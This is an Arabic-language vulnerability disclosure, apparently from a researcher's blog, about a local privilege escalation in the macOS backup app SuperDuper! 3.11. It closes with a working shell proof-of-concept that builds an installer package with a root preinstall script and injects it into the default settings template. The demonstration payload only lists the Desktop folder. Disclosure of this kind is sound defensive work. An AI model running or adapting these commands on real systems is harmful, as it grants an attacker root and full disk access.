
هذه الثغرة مشابهة لتلك الموصوفة في CVE-2025-61229 – يمكن للمهاجم تعديل قالب المهمة لجعل مهام النسخ الاحتياطي لـ SuperDuper تقوم بتثبيت حزمة عشوائية. يمكن للحزمة بعد ذلك تشغيل نصوص شل كمستخدم الجذر وبأعلى مستوى من الوصول إلى الخصوصية (الوصول الكامل إلى القرص).
درجة CVSS 3.1: درجة NVD معلقة.
لتجنب هذه الثغرة، إما حذف تطبيق SuperDuper! أو تطبيق التحديث 3.12.
يتم تقديم تحليل الثغرة وإثبات المفهوم هذا للأغراض التعليمية فقط. استخدمه على مسؤوليتك الخاصة.
في تحليلي السابق لثغرة SuperDuper CVE-2025-61229، وجدت أن قالب الإعدادات الافتراضية لـ SuperDuper لا يزال غير آمن بطبيعته حتى بعد أن عالج المطور تلك الثغرة في تحديث SuperDuper 3.11. تناول هذا التحديث فقط الثغرة المحددة الموضحة في CVE-2025-61229، لكنه لم يعالج حقيقة أن المهاجم يمكنه تعديل قالب المهمة الافتراضي. للأسف، يتضمن قالب المهمة وظيفة تثبيت الحزم، لذلك يمكن للمهاجم تعديل قالب المهمة لتحديد حزمة يمكنها تثبيت برامج أو تشغيل نصوص شل كمستخدم الجذر وبالوصول الكامل إلى القرص.
قام المطور بتخفيف هذه الثغرة عن طريق إزالة وظيفة "تثبيت الحزمة". مرة أخرى، لا يزال قالب إعدادات المهمة قابلاً للتعديل من قبل المهاجم، وقد أشار المطور حتى إلى أن هذا لا يمكن حله دون إزعاج المستخدم (أي مطالبة المستخدم بالمصادقة في كل مرة يتم فيها تعديل المهمة). لذلك يبدو أن قالب المهمة الافتراضي سيظل عرضة للتعديل في المستقبل المنظور لأن المطور لم يتمكن من إيجاد طريقة أخرى لجعله أكثر أمانًا.
استنتاجي السابق يستحق التكرار: صلاحيات الجذر والوصول الكامل إلى القرص هما أعلى الصلاحيات التي يمكن للبرامج الحصول عليها على macOS. أي مطور يطلب تلك الصلاحيات يجب أن يكتب برامج تلتزم بمبادئ التصميم الأمني الحديثة وأفضل الممارسات. هذه الثغرة، بالإضافة إلى تلك التي تم الكشف عنها في CVE-2025-57489 وCVE-2025-61228، وحتى اعتراف المطور نفسه بأن هذه المشاكل استمرت لمدة 22 عامًا، تظهر أن SuperDuper لم يتم تصميمها لتكون منتجًا آمنًا، ولم تشهد تحسينات تصميم منتظمة على مدار 22 عامًا لالتزام بأفضل الممارسات الحديثة.
يتم مهاجمة هذه الثغرة بنفس الطريقة تقريبًا كما في CVE-2025-61229، لذلك سأحيل إلى حد كبير إلى تحليلي السابق لتلك الثغرة هنا. يوضح إثبات المفهوم التالي استغلال الثغرة مع الإصدار 3.11 من SuperDuper:
mkdir -p /tmp/scripts
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\n' > /tmp/scripts/preinstall
printf "ls -l $home/Desktop > /Library/private_data.txt\n" >> /tmp/scripts/preinstall
chmod a+x /tmp/scripts/preinstall
pkgbuild --identifier com.gray.sdexploit --nopayload --scripts /tmp/scripts /tmp/attack.pkg
cd ~/'Library/Application Support/SuperDuper!/Saved Settings/.Default Settings.sdsp'
cp 'Session Settings.sdss' Settings.plist
defaults write "`pwd`"/Settings.plist SDshouldInstallPackage -bool YES
defaults write "`pwd`"/Settings.plist SDinstallerPackage /tmp/attack.pkg
cp Settings.plist 'Session Settings.sdss'
بعد تنفيذ تلك الأوامر، قم ببساطة بتشغيل نسخة احتياطية بالإعدادات الافتراضية وسيتم تثبيت attack.pkg بصلاحيات الجذر والوصول الكامل إلى القرص. النتيجة النهائية هي ملف باسم "private_data" في /Library (أي قابل للكتابة فقط بواسطة الجذر) يحتوي على قائمة بمجلد سطح المكتب الخاص بك (أي لا يمكن الوصول إليه إلا بواسطة كود يعمل بالوصول الكامل إلى القرص).